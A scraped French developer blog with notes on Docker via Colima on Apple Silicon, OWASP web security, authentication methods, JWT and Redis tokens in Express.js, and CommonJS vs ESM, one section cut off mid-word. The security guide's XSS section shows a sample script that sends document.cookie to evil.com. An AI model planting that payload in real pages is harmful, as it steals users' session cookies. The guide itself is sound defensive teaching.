oliv134

🐳 Docker sur macOS Apple Silicon avec Colima

Sat, 14 Feb 2026 16:30:11 +0100

Guide complet d’installation + bonnes pratiques + QEMU optionnel + intégration VS Code + templates .devcontainer.
Sans Docker Desktop — approche recommandée pour un environnement de dev moderne.

🎯 Objectif

Mettre en place un environnement Docker :

✅ Léger et performant sur Apple Silicon (M1/M2/M3/M4)
✅ 100 % open source (pas de dépendance Docker Desktop)
✅ Reproductible (CI/CD friendly)
✅ Intégré proprement avec VS Code (Docker + Dev Containers)
✅ Compatible images Intel via QEMU (optionnel)

🧠 Pourquoi ne pas utiliser Docker Desktop ?

Sur macOS, Docker ne tourne pas “nativement” (pas de kernel Linux). Il faut donc une VM Linux.

Docker Desktop fournit cette VM mais ajoute :

une surcouche propriétaire + UI
une consommation CPU/RAM plus élevée
une licence payante en entreprise (selon conditions Docker)

👉 Colima fournit une VM Linux minimaliste via Lima avec de très bonnes perfs et un workflow CLI standard :

Docker CLI → Colima → Lima VM → Linux ARM64 natif

📦 1) Pré-requis

✅ 1.1 Vérifier que tu es bien sur Apple Silicon

uname -m

Résultat attendu : arm64.

✅ 1.2 Installer Homebrew (si absent)

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Puis :

brew update
brew doctor

🔧 2) Installer Docker (CLI) + Colima

⚠️ On installe le CLI Docker, pas Docker Desktop.

brew install colima docker docker-compose

🧩 QEMU (optionnel — voir section dédiée)

Ne l’installe que si tu dois exécuter des images amd64 (Intel) sur ton Mac ARM.

🚀 3) Démarrer Colima (configuration recommandée)

Démarrage optimisé poste dev (à adapter selon RAM/CPU) :

colima start --cpu 4 --memory 6 --disk 60 --arch aarch64

Recommandations ressources

Ressource	Valeur conseillée
CPU	4 (ou ~½ de tes cores)
RAM	6–8 Go (plus si grosses stacks)
Disque	≥ 60 Go
Arch	`aarch64` (ARM natif)

💡 Évite x86_64 : ce serait de l’émulation, donc plus lent.

✅ 4) Vérifier l’installation

docker version

Tu dois voir Client et Server.

Test réel :

docker run --rm hello-world

⚙️ 5) Vérifier / fixer le contexte Docker

Colima crée généralement un contexte Docker dédié.

Lister :

docker context ls

Résultat attendu : colima * (l’astérisque indique le contexte actif).

Si nécessaire :

docker context use colima

📁 6) Workflow quotidien recommandé

Démarrer la VM quand tu en as besoin :

colima start

Lancer ton projet :

docker compose up -d

Arrêter proprement en fin de journée :

colima stop

✅ Avantage : pas de daemon Docker qui tourne en permanence et consomme des ressources.

⚡ 7) Bonnes pratiques de performance (macOS + VM)

7.1 Préférer des images ARM64 natives

Apple Silicon = linux/arm64. Beaucoup d’images sont multi-arch, mais pas toutes.

Vérifier une image :

docker buildx imagetools inspect nginx

Tu veux voir linux/arm64 dans la liste des plateformes.

7.2 Volumes & filesystem : règles d’or

Sur macOS, ton code est monté dans une VM Linux → I/O plus sensibles qu’un Linux natif.

✅ À faire

Monter uniquement les dossiers nécessaires
Utiliser des volumes Docker pour DB/cache (meilleures perfs + moins de surprises)
Avoir un .dockerignore strict
Limiter les gros répertoires “bruyants” (ex: node_modules, caches)

❌ À éviter

Binder tout $HOME
Synchroniser des centaines de milliers de fichiers inutilement
Binder node_modules si tu peux l’éviter

Exemple de volume “acceptable”

services:
  app:
    volumes:
      - .:/app:delegated

🧠 8) Commandes Colima utiles

Commande	Usage
`colima start`	Démarrer la VM
`colima stop`	Arrêter
`colima restart`	Redémarrer
`colima status`	État + ressources
`colima ssh`	Shell dans la VM (debug)
`colima delete`	Reset complet (⚠️ supprime données VM)

📍 9) Où sont stockées les données ?

Colima stocke ses données ici :

~/.colima/

Tu peux y trouver configuration, disque VM, etc. (utile pour debug/backup).

🧩 10) QEMU (OPTIONNEL)

10.1 À quoi sert QEMU ?

Ton Mac est ARM64. Certaines images Docker sont uniquement Intel (amd64).
QEMU permet d’exécuter ces images via émulation CPU.

Sans QEMU, tu peux rencontrer :

exec format error

Avec QEMU :

l’image peut démarrer
mais c’est plus lent

10.2 Quand l’installer ?

Uniquement si tu dois utiliser :

des images legacy non multi-arch
des outils internes entreprise construits en amd64
certaines bases/outils “historiques”

10.3 Installer QEMU (option)

brew install qemu
colima restart

10.4 Impact performance

Mode	Performance
ARM natif	🔥 très bon
amd64 via QEMU	🐢 3× à 6× plus lent (parfois plus)

10.5 Vérifier l’architecture d’une image

docker image inspect <image> | grep -i architecture

💻 11) VS Code : extensions & configuration

11.1 Extensions recommandées

Docker — ms-azuretools.vscode-docker
Dev Containers — ms-vscode-remote.remote-containers
Remote Explorer — ms-vscode.remote-explorer
GitLens — eamodio.gitlens (optionnel mais pratique)

11.2 Forcer VS Code à utiliser le socket Colima

VS Code peut chercher Docker Desktop par défaut. Configure le socket Colima dans settings.json :

{
  "docker.host": "unix:///Users/<USER>/.colima/default/docker.sock"
}

Remplace <USER> par ton user macOS.

11.3 Tester

Dans VS Code :
Cmd + Shift + P → Docker: Show Containers

Tu dois voir les containers gérés par Colima.

📦 12) Qu’est-ce qu’un template `.devcontainer` ?

Un template .devcontainer permet d’ouvrir ton projet directement dans un conteneur avec tout l’environnement prêt : langages, outils, extensions VS Code, etc.

👉 VS Code exécute le workspace dans le container, pas sur ton Mac.

Pourquoi c’est une best practice ?

✅ Environnement reproductible
✅ Zéro “ça marche sur ma machine”
✅ Onboarding immédiat d’un dev
✅ Alignement DEV/CI/PROD
✅ Mac propre (moins d’installations locales)

12.1 Structure typique

my-project/
├── docker-compose.yml
└── .devcontainer/
    ├── devcontainer.json
    └── Dockerfile   (optionnel)

12.2 Exemple `devcontainer.json` (avec docker-compose)

{
  "name": "Dev Environment",
  "dockerComposeFile": "../docker-compose.yml",
  "service": "app",
  "workspaceFolder": "/workspace",

  "customizations": {
    "vscode": {
      "extensions": [
        "ms-azuretools.vscode-docker",
        "ms-vscode-remote.remote-containers",
        "eamodio.gitlens"
      ]
    }
  }
}

Ce fichier :

démarre docker compose
se connecte au service app
monte ton code dans /workspace
installe les extensions VS Code listées

12.3 Exemple Dockerfile “dev” (optionnel)

Si tu veux un conteneur spécifique au développement (outils, debug, etc.) :

FROM php:8.3-cli

RUN apt-get update && apt-get install -y \
    git unzip curl ca-certificates

# Exemple: dépendances PHP
RUN docker-php-ext-install pdo pdo_mysql

# Exemple: xdebug
# RUN pecl install xdebug && docker-php-ext-enable xdebug

12.4 Utiliser Dev Containers dans VS Code

Ouvre le dossier du projet, puis :

Cmd + Shift + P → Dev Containers: Reopen in Container

VS Code va :

construire/mettre à jour l’image (si besoin)
démarrer les services (compose)
connecter ton IDE au conteneur
installer les extensions

🏗️ 13) Build multi-architecture (CI/CD)

Pour builder des images compatibles ARM + Intel :

docker buildx create --use
docker buildx build --platform linux/amd64,linux/arm64 -t myimage:latest .

💡 Ajoute --push si tu pousses sur un registry.

🧹 14) Maintenance

Nettoyage des ressources Docker :

docker system prune -af

Reset complet de Colima (⚠️ supprime la VM) :

colima delete
colima start --cpu 4 --memory 6 --disk 60 --arch aarch64

✅ Conclusion

Stack recommandée sur macOS Apple Silicon :

Colima + Docker CLI + VS Code Dev Containers
(QEMU uniquement si legacy amd64)

Tu obtiens :

une VM Linux minimaliste et performante
un workflow Docker standard
un environnement dev reproductible et industrialisable
une intégration IDE propre, portable et scalable

Guide complet de la sécurité des applications web

Sun, 18 Jan 2026 16:56:36 +0100

Guide pédagogique et pratique basé sur l’OWASP (Top 10, ASVS, Cheat Sheets) et les bonnes pratiques reconnues en sécurité applicative.

Ce document a pour objectif de fournir une compréhension exhaustive de la sécurité des applications web modernes, incluant :

Frontend (SPA, web, mobile)
Backend API (REST / GraphQL)
Authentification et autorisation
Bases de données, ORM et persistance
Sécurité par conception (Secure by Design)

1. Modèle mental de la sécurité web

La sécurité applicative repose sur quatre piliers fondamentaux :

Authentification : Qui est l’utilisateur ?
Autorisation : Que peut-il faire ?
Confidentialité : Les données sont-elles protégées ?
Intégrité & disponibilité : Le système est-il fiable et accessible ?

Toute attaque vise à affaiblir, contourner ou casser au moins un de ces piliers.

Principe fondamental :
Tout ce qui vient du client est hostile par défaut.

2. Architecture moderne : Frontend + API

```

[ Navigateur / Application mobile ]		HTTPS + Token (JWT / OAuth2) v [ API Backend ]

v [ Base de données ]


### Règles essentielles

- Le frontend **n’est jamais digne de confiance**
- Toutes les validations de sécurité doivent être faites côté backend
- Le réseau est considéré comme compromis
- L’API doit être sécurisée indépendamment du frontend

---

## 3. OWASP Top 10 – Vue d’ensemble

Les vulnérabilités les plus critiques selon l’OWASP :

1. Broken Access Control
2. Cryptographic Failures
3. Injection
4. Insecure Design
5. Security Misconfiguration
6. Vulnerable and Outdated Components
7. Identification and Authentication Failures
8. Software and Data Integrity Failures
9. Security Logging and Monitoring Failures
10. Server-Side Request Forgery (SSRF)

Ces catégories couvrent **l’immense majorité des failles critiques observées en production**.

---

## 4. Broken Access Control (Contrôle d’accès cassé)

### Description

Le backend ne vérifie pas correctement **ce que l’utilisateur est autorisé à faire**.

### Exemples d’attaques

- Accès aux données d’un autre utilisateur :

GET /api/users/42

Modification de privilèges via un champ JSON
Accès à des routes administrateur sans droits

Causes fréquentes

Absence de contrôle serveur
Confiance dans le frontend
Règles d’accès dispersées dans le code

Contremesures

Vérifier les autorisations à chaque requête
Centraliser les règles d’accès
Implémenter RBAC (roles) ou ABAC (attributs)

if ($user->id !== $resource->owner_id) {
    throw new ForbiddenException();
}

5. Injection (SQL, NoSQL, Command, LDAP…)

Description

Une injection survient lorsque des données utilisateur sont interprétées comme du code.

SQL Injection

❌ Code vulnérable :

SELECT * FROM users WHERE email = '$email'

✅ Code sécurisé :

SELECT * FROM users WHERE email = ?

Injections et ORM

Les ORM réduisent le risque, mais ne le suppriment pas.

❌ Dangereux :

$qb->where("u.email = '$email'");

✅ Sécurisé :

$qb->where('u.email = :email')
   ->setParameter('email', $email);

Contremesures générales

Requêtes préparées uniquement
Aucune concaténation dynamique
Validation stricte des types
Principe du moindre privilège côté DB

6. XSS – Cross-Site Scripting

Description

Injection de JavaScript malveillant exécuté dans le navigateur de la victime.

Exemple

<script>
fetch('https://evil.com/steal?c=' + document.cookie)
</script>

Types de XSS

Stored XSS (persistant en base)
Reflected XSS
DOM-based XSS

Contremesures

Échapper toutes les sorties HTML
Utiliser des frameworks avec auto-escaping
Activer les headers de sécurité

Content-Security-Policy
X-Content-Type-Options

7. Cryptographic Failures

Problèmes fréquents

Données sensibles non chiffrées
Algorithmes obsolètes (MD5, SHA1)
Mauvaise gestion des clés

Bonnes pratiques

HTTPS (TLS 1.2+)
Chiffrement au repos
Rotation des clés
Secrets hors du code source

8. Authentification cassée

Vulnérabilités courantes

Mots de passe faibles
Pas de limitation de tentatives
Sessions infinies

Bonnes pratiques

Hash fort (bcrypt, argon2)
MFA si possible
Politique de mots de passe
Verrouillage temporaire

password_hash($password, PASSWORD_ARGON2ID);

9. JWT et tokens

Erreurs fréquentes

JWT sans expiration
Secret faible
Données sensibles dans le payload

Bonnes pratiques

Champs obligatoires : exp, iat, iss, aud
Signature asymétrique (RS256)
Tokens courts + refresh tokens

10. CSRF – Cross-Site Request Forgery

Description

Un utilisateur authentifié exécute une action sans le vouloir.

Contremesures

Tokens CSRF
Cookies SameSite=Strict
APIs stateless avec header Authorization

11. Sécurité des API REST

Bonnes pratiques

HTTPS obligatoire
Authentification sur toutes les routes
Rate limiting
Pagination
Validation stricte des entrées

HTTP/1.1 429 Too Many Requests

12. Sécurité des bases de données

Bonnes pratiques

Compte DB non-root
Droits minimaux
Séparation lecture / écriture
Sauvegardes chiffrées

Chiffrement

Données sensibles chiffrées
Clés stockées hors application

13. Logs et monitoring

Importance

Une attaque non détectée est une attaque réussie.

À journaliser

Échecs d’authentification
Accès refusés
Actions sensibles

⚠️ Ne jamais loguer :

Mots de passe
Tokens
Données personnelles

14. Sécurité du frontend

Réalités

Code visible
API exposée
Attaques automatisées

Bonnes pratiques

Aucun secret côté frontend
CSP stricte
Validation UX ≠ validation sécurité

15. Sécurité par conception (Secure by Design)

Principes fondamentaux

Least Privilege
Fail Secure
Defense in Depth
Zero Trust
Secure Defaults

16. Checklist de sécurité

[ ] HTTPS partout
[ ] Authentification forte
[ ] Autorisation systématique
[ ] Requêtes préparées
[ ] Logs et alertes
[ ] Dépendances à jour
[ ] Tests de sécurité

17. Pour aller plus loin

OWASP ASVS
OWASP Cheat Sheets
Threat Modeling (STRIDE)
SAST / DAST
Pentests réguliers

La sécurité n’est pas un état, mais un processus continu.

Guide des mécanismes d’authentification dans les applications Web modernes

Sun, 18 Jan 2026 16:48:09 +0100

Ce document présente les mécanismes d’authentification utilisés dans les applications web modernes, leurs avantages, inconvénients, domaines d’usage, ainsi que les bonnes pratiques de sécurité issues des recommandations de l’OWASP et des standards actuels.

1. Qu’est-ce que l’OWASP ?

Présentation

OWASP (Open Worldwide Application Security Project) est une organisation internationale à but non lucratif dédiée à l’amélioration de la sécurité des applications web et logicielles.

Elle fournit :

des guides de bonnes pratiques,
des standards de sécurité,
des outils open source,
des référentiels reconnus mondialement.

L’OWASP est indépendante des éditeurs et des technologies, ce qui rend ses recommandations largement adoptées dans l’industrie.

OWASP Top 10

Le document le plus connu est le OWASP Top 10, qui recense les dix catégories de vulnérabilités les plus critiques. Plusieurs concernent directement l’authentification et la gestion des identités, notamment :

Authentification défaillante,
Mauvaise gestion des sessions,
Contrôles d’accès cassés,
Exposition de données sensibles.

Principe fondamental OWASP

Le client (navigateur, SPA, application mobile) ne doit jamais être considéré comme fiable.

Toute logique de sécurité doit être implémentée et validée côté serveur.

2. Concepts fondamentaux

Authentification vs autorisation

L’authentification consiste à vérifier l’identité d’un utilisateur ou d’un système.
L’autorisation consiste à vérifier ce que cet utilisateur ou système est autorisé à faire.

Une application sécurisée doit traiter ces deux notions séparément.

3. Authentification par session et cookies (Web traditionnel)

Principe

Après la saisie d’un identifiant et d’un mot de passe, le serveur crée une session et transmet un identifiant de session au navigateur via un cookie HTTP.
Le navigateur renvoie automatiquement ce cookie à chaque requête suivante.

Avantages

Mécanisme simple et éprouvé,
Excellente intégration avec les navigateurs,
Contrôle total côté serveur,
Facile à mettre en œuvre dans les applications web traditionnelles.

Inconvénients

Peu adapté aux API REST,
Scalabilité plus complexe en environnement distribué,
Fortement couplé au navigateur.

Sécurité (OWASP)

Protection contre les attaques CSRF obligatoire,
Cookies configurés avec HttpOnly, Secure et SameSite,
Invalidation systématique des sessions à la déconnexion.

4. Authentification HTTP Basic

Principe

Les identifiants sont envoyés à chaque requête HTTP via l’en-tête Authorization, encodés en Base64.

Avantages

Très simple à implémenter,
Supporté nativement par HTTP,
Utile pour des tests ou des usages temporaires.

Inconvénients

Aucun mécanisme de session,
Le mot de passe est transmis à chaque requête,
Sécurité entièrement dépendante de HTTPS.

Recommandation

Cette méthode est déconseillée en production pour des utilisateurs finaux.

5. JWT (JSON Web Token)

Principe

Le serveur délivre un token signé contenant des informations appelées claims.
Le token est auto-contenu et peut être vérifié sans accès à une base de données.

Avantages

Stateless,
Très scalable,
Compatible avec SPA, applications mobiles et microservices,
Standard largement adopté.

Inconvénients

Révocation complexe,
Risques importants en cas de mauvaise implémentation,
Sécurité fortement dépendante du mode de stockage côté client.

Recommandations OWASP

Ne jamais stocker un JWT dans localStorage,
Préférer les cookies HttpOnly côté navigateur,
Utiliser des tokens de courte durée,
Mettre en place des refresh tokens,
Ne jamais stocker de données sensibles dans le token.

6. Authentification par token opaque

Principe

Le serveur génère un token aléatoire sans signification intrinsèque.
Ce token est stocké côté serveur et vérifié à chaque requête.

Avantages

Révocation simple,
Aucune donnée exposée côté client,
Plus sûr que les JWT dans certains contextes.

Inconvénients

Vérification serveur nécessaire à chaque requête,
Moins performant que les JWT à très grande échelle.

7. Cas d’usage : authentification dans une SPA (frontend)

Problématique

Une application frontend (React, Vue, Angular, etc.) ne peut pas protéger un secret.
Tout code exécuté côté client est potentiellement accessible ou modifiable.

Bonnes pratiques

Authentification réalisée via une API backend,
Stockage du token :
- Cookie HttpOnly (recommandé),
- Mémoire volatile (state JavaScript),
Protection contre les attaques XSS, CSRF et le rejeu de tokens.

Reco

CommonJS vs ECMAScript (ESM)

Fri, 05 Dec 2025 19:07:10 +0100

📘 Comprendre les fichiers .mjs dans Node.js

🧩 1. `.mjs`, c’est quoi ?

Un fichier .mjs est un module ECMAScript — c’est-à-dire un fichier JavaScript utilisant la syntaxe moderne des imports et exports, comme celle des navigateurs.

// fichier.mjs
import express from "express";
import { maFonction } from "./utils.mjs";

export const app = express();

👉 L’extension .mjs indique à Node.js que le fichier doit être interprété en mode ESM (ECMAScript Module)
et non en CommonJS (le système historique de Node).

⚙️ 2. Contexte historique

Avant 2020, Node.js utilisait uniquement le système CommonJS :

const express = require("express");
module.exports = app;

Mais depuis Node.js 14+, il supporte aussi les modules ECMAScript (mêmes modules que les navigateurs).

Pour éviter toute ambiguïté, Node a introduit une distinction stricte entre :

.js (fichiers interprétés comme CommonJS par défaut)
.mjs (fichiers interprétés comme modules ECMAScript)

⚙️ 3. Les deux systèmes de modules

Aspect	CommonJS (`.js`)	ESM (`.mjs` ou `type: "module"`)
Importation	`const X = require("x")`	`import X from "x"`
Exportation	`module.exports = X`	`export default X`
Chargement	Synchrone	Asynchrone
Scope	Global par fichier	Strict (par module)
Compatibilité historique	✅ Node.js classique	✅ Node 14+
Syntaxe moderne	❌ Non	✅ Oui

🧠 4. Exemple comparatif

🟠 CommonJS (`.js`)

// utils.js
const sum = (a, b) => a + b;
module.exports = { sum };

// app.js
const { sum } = require("./utils.js");
console.log(sum(2, 3));

🔵 ECMAScript (`.mjs`)

// utils.mjs
export function sum(a, b) {
  return a + b;
}

// app.mjs
import { sum } from "./utils.mjs";
console.log(sum(2, 3));

🧩 5. Et si je veux rester en `.js` ?

Tu peux utiliser la syntaxe import/export sans passer en .mjs
en ajoutant ce paramètre dans ton package.json :

{
  "type": "module"
}

➡️ Dans ce cas, tous les fichiers .js du projet sont interprétés comme des modules ESM.
Tu n’as donc plus besoin de .mjs.

⚠️ Mais attention :

Tu ne pourras plus utiliser require() ni module.exports directement.
Tu devras tout passer en import/export.

🧱 6. Quand utiliser `.mjs` plutôt que `.js` ?

Situation	Recommandation
Petit projet Node classique (Express, Mongo, etc.)	✅ Reste en `.js` (CommonJS)
Projet moderne, TypeScript, ou compatible navigateur	✅ Utilise `.mjs` ou `"type": "module"`
Tu veux mélanger les deux systèmes	⚠️ Possible mais à éviter
Librairie NPM moderne à publier	✅ `.mjs` recommandé pour compatibilité ESM

🧩 7. Mélanger CommonJS et ESM (cas avancé)

Il est possible de mélanger les deux, mais c’est souvent source de confusion.

Exemple :

main.mjs (ESM) peut importer du CommonJS :
```
import pkg from "./legacy.js";
```
legacy.js (CommonJS) peut importer un ESM avec import() dynamique :
```
const module = await import("./modern.mjs");
```

Mais cela complique la maintenance : le mieux est de choisir un seul style.

✅ 8. En résumé

Élément	`.js` (CommonJS)	`.mjs` (ESM)
Import	`require()`	`import`
Export	`module.exports`	`export`
Système	Ancien (Node)	Standard ECMAScript
Compatibilité	Universelle	Moderne
Recommandé en 2025	⚙️ pour rétrocompatibilité	🟢 pour les projets modernes

💡 En clair :

.js = modules CommonJS (require, module.exports)

.mjs = modules ECMAScript (import, export)

Tu peux aussi garder .js et déclarer "type": "module" dans ton package.json si tu veux la syntaxe moderne partout.

VIM

Sun, 23 Nov 2025 17:58:02 +0100

https://www.vim-hero.com/ https://vim-adventures.com/

404

Sun, 26 Oct 2025 18:45:58 +0100

Not Found

Guide complet — Gestion des Tokens sous Express.js

Sun, 26 Oct 2025 14:19:05 +0100

1. Introduction aux Tokens

Dans Express.js, un token est une preuve d’identité permettant d’autoriser un utilisateur ou un service à accéder à des ressources protégées.

Le serveur émet un token après authentification, puis le client l’envoie à chaque requête (souvent dans le header Authorization).

Les tokens remplacent les sessions classiques (cookies de session) dans les architectures modernes d’API REST ou microservices.

2. Les différentes approches modernes

A. JWT (JSON Web Token)

Un JWT est un jeton auto-contenu, signé par le serveur, qui contient des informations encodées (sub, email, role, etc.).

Bibliothèques modernes :

jose (recommandée, moderne, conforme RFC)
jsonwebtoken (ancienne)

Structure d’un JWT :

header.payload.signature

Avantages :

Pas de stockage côté serveur.
Vérification rapide (signature HMAC ou RSA).
Standard international.

Inconvénients :

Difficile à révoquer.
Si compromis, le token reste valide jusqu’à expiration.
Vulnérable si stocké dans localStorage.

B. JWT + Refresh Token

Cette approche utilise deux jetons :

Access Token (courte durée, ex : 15 minutes)
Refresh Token (longue durée, ex : 7 jours)

L’Access Token est stocké en mémoire, le Refresh Token en cookie HttpOnly + Secure.

Cela permet un renouvellement transparent de session sans redemander le mot de passe.

C. JWT stocké en Cookie sécurisé

Un JWT peut être stocké directement dans un cookie HttpOnly et Secure, qui remplace la session traditionnelle.

L’auth se fait automatiquement avec le cookie.
Le serveur vérifie le JWT sans base de données.
Idéal pour des applications full web (SSR, Next.js, etc.)

D. OIDC / OAuth2

OpenID Connect (OIDC) et OAuth2 sont utilisés pour :

L’authentification via tiers (Google, Microsoft, GitHub…)
Le Single Sign-On (SSO)
L’accès interservices sécurisé

Libs utiles :

E. Token Opaque + Redis

Le token opaque est un identifiant aléatoire sans signification :

3baf4d90-e95c-46f7-bb1f-3d27a36c6e52

Il ne contient aucune donnée utilisateur.
Le serveur stocke l’association dans Redis :

SET token:3baf4d90 { "userId": 42, "role": "admin" } EX 900

À chaque requête, le serveur consulte Redis pour vérifier la validité du token.

Avantages :

Révocation immédiate (supprimer la clé Redis)
Aucune donnée exposée au client
Contrôle total côté serveur

Inconvénients :

Redis devient un point central (stateful)
Nécessite un accès réseau rapide et fiable

3. Comparaison entre JWT et Token Opaque

Critère	JWT	Token Opaque + Redis
Structure	Auto-contenu	Identifiant aléatoire
Stockage	Côté client	Côté serveur
Vérification	Locale (signature)	Consultation Redis
Révocation	Complexe	Instantanée
Sécurité	Bonne	Très élevée
Scalabilité	Excellente	Bonne mais centralisée
Débogage	Facile (lisible)	Requiert Redis
Usage typique	API publiques, microservices	API internes, sécurité stricte

4. Concept de Stateless vs Stateful

A. Qu’est-ce qu’une API Stateless

Une API stateless ne garde aucun état entre les requêtes. Chaque requête contient toutes les informations nécessaires à son traitement.

Exemple : Un JWT est stateless : il contient toutes les infos (id, rôle, expiration).
Aucun appel externe n’est nécessaire.

B. Qu’est-ce qu’une API Stateful

Une API stateful conserve l’état côté serveur (ex : Redis, sessions).
Les requêtes dépendent d’informations mémorisées sur le serveur.

Exemple : Un token opaque nécessite de consulter Redis pour savoir à quel utilisateur il correspond.

C. Impact dans une architecture microservices

JWT (stateless) : chaque microservice peut vérifier les tokens seul.
Redis (stateful) : chaque service dépend du store commun.

Conséquence :

Le modèle stateful ajoute une dépendance centrale (Redis), réduisant l’autonomie et la résilience.
En revanche, il permet la révocation immédiate et un contrôle total.

5. Redis dans la gestion des Tokens

A. Qu’est-ce que Redis

Redis est une base clé/valeur en mémoire ultra-rapide, utilisée pour :

le cache,
les sessions,
les files d’attente,
les compteurs,
la communication temps réel.

Redis stocke les données directement dans la RAM, ce qui le rend des dizaines de fois plus rapide que les bases de données classiques.

B. Cas d’usage concrets avec Redis

Cache ultra-rapide
Gestion des sessions et tokens
File d’attente (queue)
Rate limiting
Pub/Sub
Stockage temporaire
Compteurs et statistiques

C. Pourquoi Redis est si rapide

Données en RAM
Opérations atomiques
Protocole réseau minimaliste
Mono-thread
Optimisé pour la latence microseconde

D. Intégration Redis avec Express.js

npm install redis

Exemple simple :

const { createClient } = require("redis");
const client = createClient();

client.connect();

app.get("/", async (req, res) => {
  const count = await client.incr("visits");
  res.send(`Visites : ${count}`);
});

6. Bonnes pratiques de sécurité 2025

Risque	Mesure recommandée
Token volé	Durée courte + refresh token
Vol cookie	`HttpOnly + Secure + SameSite=Strict`
Secret exposé	Stocker la clé dans `.env`
Token forgé	Signature HMAC ou RSA
Révocation	Gérer une denylist ou Redis
Environnement HTTP	Toujours utiliser HTTPS
Vérification	Toujours vérifier signature et expiration

7. Exemples de code Express.js

JWT avec JOSE

import { SignJWT, jwtVerify } from "jose";

const secret = new TextEncoder().encode(process.env.JWT_SECRET);

export async function signToken(payload, expiresIn = "15m") {
  return await new SignJWT(payload)
    .setProtectedHeader({ alg: "HS256" })
    .setIssuedAt()
    .setExpirationTime(expiresIn)
    .sign(secret);
}

export async function verifyToken(token) {
  const { payload } = await jwtVerify(token, secret);
  return payload;
}

JWT + Refresh Token en Cookie HttpOnly

router.post("/login", async (req, res) => {
  const accessToken = await signToken({ sub: user.id }, "15m");
  const refreshToken = await signToken({ sub: user.id, type: "refresh" }, "7d");

  res.cookie("refresh_token", refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: "Strict",
    maxAge: 7 * 24 * 60 * 60 * 1000,
  });

  res.json({ accessToken });
});

Token Opaque + Redis

const { v4: uuidv4 } = require("uuid");
const redis = require("../utils/redis");

exports.login = (req, res) => {
  User.findOne({ email: req.body.email })
    .then((user) => {
      if (!user) return res.status(401).json({ error: "Utilisateur introuvable" });
      const token = uuidv4();
      redis.set(token, JSON.stringify({ id: user._id }), { EX: 900 });
      res.json({ token });
    })
    .catch((err) => res.status(500).json({ error: "Erreur serveur" }));
};

Fin du document.

Créez votre propre contenu

Sun, 26 Oct 2025 12:29:28 +0100

Commencez à écrire votre propre contenu ou modifiez celui-ci pour l’adapter à vos besoins. Pour créer, modifier ou supprimer du contenu, vous devez vous connecter au panneau d’administration avec le nom d’utilisateur admin et le mot de passe que vous avez défini lors du processus d'installation.

Configurez votre nouveau site

Sun, 26 Oct 2025 12:28:28 +0100

Mettez à jour les paramètres de votre site à partir du panneau d’administration, vous pouvez modifier le titre, la description et les réseaux sociaux dans les Paramètres généraux.

Suivez Bludit

Sun, 26 Oct 2025 12:27:28 +0100

Restez informé sur l’actualité, les nouvelles versions, les nouveaux thèmes ou les nouveaux plugins sur nos réseaux sociaux Facebook, Twitter et YouTube ou visitez notre Blog.

oliv134

🐳 Docker sur macOS Apple Silicon avec Colima

🎯 Objectif

🧠 Pourquoi ne pas utiliser Docker Desktop ?

📦 1) Pré-requis

✅ 1.1 Vérifier que tu es bien sur Apple Silicon

✅ 1.2 Installer Homebrew (si absent)

🔧 2) Installer Docker (CLI) + Colima

🧩 QEMU (optionnel — voir section dédiée)

🚀 3) Démarrer Colima (configuration recommandée)

Recommandations ressources

✅ 4) Vérifier l’installation

⚙️ 5) Vérifier / fixer le contexte Docker

📁 6) Workflow quotidien recommandé

⚡ 7) Bonnes pratiques de performance (macOS + VM)

7.1 Préférer des images ARM64 natives

7.2 Volumes & filesystem : règles d’or

✅ À faire

❌ À éviter

Exemple de volume “acceptable”

🧠 8) Commandes Colima utiles

📍 9) Où sont stockées les données ?

🧩 10) QEMU (OPTIONNEL)

10.1 À quoi sert QEMU ?

10.2 Quand l’installer ?

10.3 Installer QEMU (option)

10.4 Impact performance

10.5 Vérifier l’architecture d’une image

💻 11) VS Code : extensions & configuration

11.1 Extensions recommandées

11.2 Forcer VS Code à utiliser le socket Colima

11.3 Tester

📦 12) Qu’est-ce qu’un template .devcontainer ?

Pourquoi c’est une best practice ?

12.1 Structure typique

12.2 Exemple devcontainer.json (avec docker-compose)

12.3 Exemple Dockerfile “dev” (optionnel)

12.4 Utiliser Dev Containers dans VS Code

🏗️ 13) Build multi-architecture (CI/CD)

🧹 14) Maintenance

✅ Conclusion

Guide complet de la sécurité des applications web

1. Modèle mental de la sécurité web

2. Architecture moderne : Frontend + API

Causes fréquentes

Contremesures

5. Injection (SQL, NoSQL, Command, LDAP…)

Description

SQL Injection

Injections et ORM

Contremesures générales

6. XSS – Cross-Site Scripting

Description

Exemple

Types de XSS

Contremesures

7. Cryptographic Failures

Problèmes fréquents

Bonnes pratiques

8. Authentification cassée

Vulnérabilités courantes

Bonnes pratiques

9. JWT et tokens

Erreurs fréquentes

Bonnes pratiques

10. CSRF – Cross-Site Request Forgery

Description

Contremesures

11. Sécurité des API REST

Bonnes pratiques

12. Sécurité des bases de données

Bonnes pratiques

Chiffrement

13. Logs et monitoring

Importance

À journaliser

14. Sécurité du frontend

Réalités

Bonnes pratiques

15. Sécurité par conception (Secure by Design)

📦 12) Qu’est-ce qu’un template `.devcontainer` ?

12.2 Exemple `devcontainer.json` (avec docker-compose)

🧩 1. `.mjs`, c’est quoi ?

🟠 CommonJS (`.js`)

🔵 ECMAScript (`.mjs`)

🧩 5. Et si je veux rester en `.js` ?

🧱 6. Quand utiliser `.mjs` plutôt que `.js` ?